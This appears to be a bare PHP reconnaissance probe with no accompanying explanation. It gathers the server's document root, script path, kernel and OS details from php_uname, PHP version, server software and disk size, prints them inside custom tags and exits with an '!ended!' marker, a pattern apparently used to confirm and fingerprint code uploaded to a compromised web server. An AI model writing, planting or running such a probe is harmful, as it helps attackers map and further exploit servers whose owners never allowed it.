<?php   $path = $_SERVER['SCRIPT_FILENAME']; $root = $_SERVER['DOCUMENT_ROOT']; if (!$root) {     $p = getenv('PWD');     $dir = "";     $root = str_replace($dir, '', $p); } $content = "<fs>".filesize($path)."</fs><r>{$root}</r><p>{$path}</p>"."<id>".php_uname()."|".phpversion()."|{$_SERVER['SERVER_SOFTWARE']}|".disk_total_space('/')."</id>\n"; $os = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN' ? 'win' : 'linux'; $php = phpversion();  $content .= "<os>$os</os><php>$php</php>\n";  print $content; die('!ended!');